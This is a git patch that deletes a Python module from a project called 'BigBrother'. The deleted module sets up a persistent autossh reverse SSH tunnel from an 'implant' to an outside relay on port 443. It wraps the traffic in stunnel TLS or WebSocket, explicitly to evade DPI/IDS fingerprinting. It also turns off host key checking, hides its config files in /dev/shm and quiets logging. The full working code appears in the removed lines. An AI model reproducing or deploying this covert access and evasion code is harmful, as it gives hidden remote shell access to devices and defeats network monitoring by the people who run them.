From 50deaf0cfbf2a3a7aacce671ec976c2f661bf862 Mon Sep 17 00:00:00 2001 From: Cobra Date: Mon, 6 Apr 2026 11:39:56 -0400 Subject: [PATCH] Fix #212: Remove autossh reverse tunnel module - Delete modules/connectivity/reverse_tunnel.py (contradicts design) - BigBrother design specifies WireGuard-only operator access - Reverse SSH tunnel introduces unnecessary complexity and OPSEC risk - Operator access is now exclusively through WireGuard VPN per spec --- modules/connectivity/reverse_tunnel.py | 406 ------------------------- 1 file changed, 406 deletions(-) delete mode 100644 modules/connectivity/reverse_tunnel.py diff --git a/modules/connectivity/reverse_tunnel.py b/modules/connectivity/reverse_tunnel.py deleted file mode 100644 index bb14548..0000000 --- a/modules/connectivity/reverse_tunnel.py +++ /dev/null @@ -1,406 +0,0 @@ -#!/usr/bin/env python3 -"""Reverse tunnel module — autossh reverse SSH over TLS/WebSocket. - -Establishes a persistent reverse SSH tunnel using autossh with automatic -reconnection. The SSH connection is NEVER raw on port 443 — it MUST be -wrapped in TLS (via stunnel) or transported over WebSocket to avoid -protocol fingerprinting by DPI/IDS. - -Tunnel chain: - implant -> stunnel (local TLS wrap) -> relay:443 -> sshd - OR - implant -> SSH-over-WebSocket -> relay:443 -> ws-to-ssh proxy -> sshd -""" - -import logging -import os -import signal -import subprocess -import tempfile -import time -from typing import Optional - -from modules.base import BaseModule - -logger = logging.getLogger("sensor.connectivity.reverse_tunnel") - -AUTOSSH_BIN = "/usr/bin/autossh" -STUNNEL_BIN = "/usr/bin/stunnel" -SSH_BIN = "/usr/bin/ssh" -CONNECT_TIMEOUT = 30 # seconds - - -class ReverseTunnel(BaseModule): - """Reverse SSH tunnel via autossh, wrapped in TLS or WebSocket.""" - - name = "reverse_tunnel" - module_type = "connectivity" - priority = -100 - requires_root = False - - def __init__(self, bus, state, config, engine=None): - super().__init__(bus, state, config, engine) - self._autossh_proc: Optional[subprocess.Popen] = None - self._stunnel_proc: Optional[subprocess.Popen] = None - self._relay_host: Optional[str] = None - self._relay_port: int = 443 - self._relay_user: Optional[str] = None - self._key_file: Optional[str] = None - self._remote_port: int = 0 - self._monitor_port: int = 0 - self._transport: str = "stunnel" # "stunnel" or "websocket" - self._stunnel_config_path: Optional[str] = None - self._ssh_config_path: Optional[str] = None - self._local_stunnel_port: int = 0 - self._connected = False - - # ------------------------------------------------------------------ - # BaseModule interface - # ------------------------------------------------------------------ - - def start(self) -> None: - if self._running: - return - - tun_cfg = self.config.get("connectivity", {}).get("reverse_tunnel", {}) - if not tun_cfg: - logger.error("No reverse_tunnel config in bigbrother.yaml") - self.state.set_module_status(self.name, "error") - return - - self._relay_host = tun_cfg.get("relay_host") - self._relay_port = tun_cfg.get("relay_port", 443) - self._relay_user = tun_cfg.get("relay_user", "tunnel") - self._key_file = tun_cfg.get("key_file") - self._remote_port = tun_cfg.get("remote_port", 22222) - self._monitor_port = tun_cfg.get("monitor_port", 0) - self._transport = tun_cfg.get("transport", "stunnel") - - if not self._relay_host: - logger.error("relay_host not configured for reverse tunnel") - self.state.set_module_status(self.name, "error") - return - - if not self._key_file or not os.path.isfile(self._key_file): - logger.error("SSH key file not found: %s", self._key_file) - self.state.set_module_status(self.name, "error") - return - - if not self.connect(): - self.state.set_module_status(self.name, "error") - return - - self._running = True - self._pid = os.getpid() - self._start_time = time.time() - self._connected = True - - self.state.set_module_status(self.name, "running", pid=self._pid) - self.bus.emit("CONNECTIVITY_CHANGED", - {"module": self.name, "state": "up", - "relay": self._relay_host, "remote_port": self._remote_port, - "transport": self._transport}, - source_module=self.name) - logger.info("Reverse tunnel up — %s:%d via %s (transport: %s)", - self._relay_host, self._remote_port, - self._relay_port, self._transport) - - def stop(self) -> None: - if not self._running: - return - - self.disconnect() - self._running = False - self._connected = False - - # Cleanup temp configs - for path in (self._stunnel_config_path, self._ssh_config_path): - if path and os.path.isfile(path): - try: - os.unlink(path) - except OSError: - pass - - self.state.set_module_status(self.name, "stopped") - self.bus.emit("CONNECTIVITY_CHANGED", - {"module": self.name, "state": "down"}, - source_module=self.name) - logger.info("Reverse tunnel stopped") - - def status(self) -> dict: - autossh_alive = (self._autossh_proc is not None and - self._autossh_proc.poll() is None) - stunnel_alive = (self._stunnel_proc is not None and - self._stunnel_proc.poll() is None) - - return { - "running": self._running, - "pid": self._pid, - "uptime": time.time() - self._start_time if self._start_time else 0, - "connected": self._connected, - "relay_host": self._relay_host, - "relay_port": self._relay_port, - "remote_port": self._remote_port, - "transport": self._transport, - "autossh_alive": autossh_alive, - "autossh_pid": self._autossh_proc.pid if self._autossh_proc else None, - "stunnel_alive": stunnel_alive, - } - - def configure(self, config: dict) -> None: - self.config.update(config) - - def health_check(self) -> bool: - if not self._running: - return False - return self.is_connected() - - # ------------------------------------------------------------------ - # Tunnel operations - # ------------------------------------------------------------------ - - def connect(self) -> bool: - """Establish the reverse tunnel: start stunnel/ws, then autossh.""" - if self._transport == "stunnel": - if not self._start_stunnel(): - return False - ssh_target_host = "127.0.0.1" - ssh_target_port = self._local_stunnel_port - elif self._transport == "websocket": - # WebSocket transport uses SSH ProxyCommand with a ws client - ssh_target_host = self._relay_host - ssh_target_port = self._relay_port - else: - logger.error("Unknown transport: %s (must be 'stunnel' or 'websocket')", - self._transport) - return False - - # Write SSH config for strict options - self._ssh_config_path = self._write_ssh_config(ssh_target_host, ssh_target_port) - - # Build autossh command - env = dict(os.environ) - env["AUTOSSH_GATETIME"] = "0" # Don't require initial connection time - env["AUTOSSH_POLL"] = "30" # Check connection every 30s - - if self._monitor_port: - env["AUTOSSH_PORT"] = str(self._monitor_port) - else: - env["AUTOSSH_PORT"] = "0" # Disable monitoring port, use ServerAlive - - ssh_cmd = [ - SSH_BIN, - "-F", self._ssh_config_path, - "-N", # No shell - "-T", # No PTY - "-R", f"{self._remote_port}:127.0.0.1:22", - "-i", self._key_file, - "-o", "StrictHostKeyChecking=no", - "-o", "UserKnownHostsFile=/dev/null", - "-o", "ServerAliveInterval=15", - "-o", "ServerAliveCountMax=3", - "-o", "ExitOnForwardFailure=yes", - "-o", "LogLevel=ERROR", - ] - - # WebSocket transport uses ProxyCommand - if self._transport == "websocket": - proxy_cmd = self._get_ws_proxy_command() - if proxy_cmd: - ssh_cmd.extend(["-o", f"ProxyCommand={proxy_cmd}"]) - ssh_cmd.extend([ - "-p", str(ssh_target_port), - f"{self._relay_user}@{ssh_target_host}", - ]) - else: - ssh_cmd.extend([ - "-p", str(ssh_target_port), - f"{self._relay_user}@{ssh_target_host}", - ]) - - autossh_cmd = [AUTOSSH_BIN, "-M", str(self._monitor_port)] + ssh_cmd[1:] - # autossh wraps ssh; pass the ssh binary path - autossh_cmd = [AUTOSSH_BIN] + ssh_cmd - - try: - self._autossh_proc = subprocess.Popen( - autossh_cmd, - stdout=subprocess.DEVNULL, - stderr=subprocess.PIPE, - env=env, - ) - except FileNotFoundError: - logger.error("autossh not found at %s", AUTOSSH_BIN) - return False - except OSError as exc: - logger.error("Failed to start autossh: %s", exc) - return False - - # Wait briefly to check if process dies immediately - time.sleep(2.0) - if self._autossh_proc.poll() is not None: - stderr = "" - try: - stderr = self._autossh_proc.stderr.read().decode(errors='replace')[:500] - except Exception: - pass - logger.error("autossh exited immediately: %s", stderr) - self._cleanup_stunnel() - return False - - logger.info("autossh started (PID %d)", self._autossh_proc.pid) - return True - - def disconnect(self) -> None: - """Tear down the reverse tunnel.""" - # Stop autossh - if self._autossh_proc and self._autossh_proc.poll() is None: - try: - self._autossh_proc.terminate() - self._autossh_proc.wait(timeout=5.0) - except subprocess.TimeoutExpired: - self._autossh_proc.kill() - try: - self._autossh_proc.wait(timeout=2.0) - except subprocess.TimeoutExpired: - pass - self._autossh_proc = None - - # Stop stunnel - self._cleanup_stunnel() - self._connected = False - - def is_connected(self) -> bool: - """Check if the autossh process is alive.""" - if self._autossh_proc is None: - return False - alive = self._autossh_proc.poll() is None - self._connected = alive - return alive - - # ------------------------------------------------------------------ - # stunnel management - # ------------------------------------------------------------------ - - def _start_stunnel(self) -> bool: - """Start stunnel to wrap SSH in TLS.""" - # Pick a random high port for local stunnel listener - import socket - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: - s.bind(("127.0.0.1", 0)) - self._local_stunnel_port = s.getsockname()[1] - - config_content = ( - f"pid =\n" # Don't write PID file - f"foreground = yes\n" - f"syslog = no\n" - f"debug = 0\n" - f"\n" - f"[ssh-tunnel]\n" - f"client = yes\n" - f"accept = 127.0.0.1:{self._local_stunnel_port}\n" - f"connect = {self._relay_host}:{self._relay_port}\n" - f"TIMEOUTconnect = 10\n" - ) - - tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() - self._stunnel_config_path = os.path.join(tmpdir, ".stunnel_bb.conf") - - fd = os.open(self._stunnel_config_path, - os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - try: - os.write(fd, config_content.encode()) - finally: - os.close(fd) - - try: - self._stunnel_proc = subprocess.Popen( - [STUNNEL_BIN, self._stunnel_config_path], - stdout=subprocess.DEVNULL, - stderr=subprocess.PIPE, - ) - except FileNotFoundError: - logger.error("stunnel not found at %s", STUNNEL_BIN) - return False - except OSError as exc: - logger.error("Failed to start stunnel: %s", exc) - return False - - # Wait for stunnel to be ready - time.sleep(1.0) - if self._stunnel_proc.poll() is not None: - stderr = "" - try: - stderr = self._stunnel_proc.stderr.read().decode(errors='replace')[:500] - except Exception: - pass - logger.error("stunnel exited: %s", stderr) - return False - - logger.debug("stunnel listening on 127.0.0.1:%d -> %s:%d", - self._local_stunnel_port, self._relay_host, self._relay_port) - return True - - def _cleanup_stunnel(self) -> None: - """Stop the stunnel process.""" - if self._stunnel_proc and self._stunnel_proc.poll() is None: - try: - self._stunnel_proc.terminate() - self._stunnel_proc.wait(timeout=3.0) - except subprocess.TimeoutExpired: - self._stunnel_proc.kill() - try: - self._stunnel_proc.wait(timeout=2.0) - except subprocess.TimeoutExpired: - pass - self._stunnel_proc = None - - # ------------------------------------------------------------------ - # SSH config - # ------------------------------------------------------------------ - - def _write_ssh_config(self, host: str, port: int) -> str: - """Write a transient SSH config file.""" - config = ( - f"Host tunnel-relay\n" - f" HostName {host}\n" - f" Port {port}\n" - f" User {self._relay_user}\n" - f" IdentityFile {self._key_file}\n" - f" StrictHostKeyChecking no\n" - f" UserKnownHostsFile /dev/null\n" - f" ServerAliveInterval 15\n" - f" ServerAliveCountMax 3\n" - f" ExitOnForwardFailure yes\n" - f" LogLevel ERROR\n" - ) - - tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() - path = os.path.join(tmpdir, ".ssh_tunnel_bb.conf") - - fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) - try: - os.write(fd, config.encode()) - finally: - os.close(fd) - - return path - - def _get_ws_proxy_command(self) -> Optional[str]: - """Return a ProxyCommand string for SSH-over-WebSocket.""" - # websocat is the preferred tool for ws-to-tcp proxying - websocat = "/usr/bin/websocat" - if os.path.isfile(websocat): - return (f"{websocat} --binary " - f"wss://{self._relay_host}:{self._relay_port}/ssh " - f"--tls-domain {self._relay_host}") - - # Fallback: wstunnel - wstunnel = "/usr/bin/wstunnel" - if os.path.isfile(wstunnel): - return (f"{wstunnel} client " - f"-L stdio://127.0.0.1:0 " - f"wss://{self._relay_host}:{self._relay_port}") - - logger.warning("No WebSocket proxy tool found (websocat or wstunnel)") - return None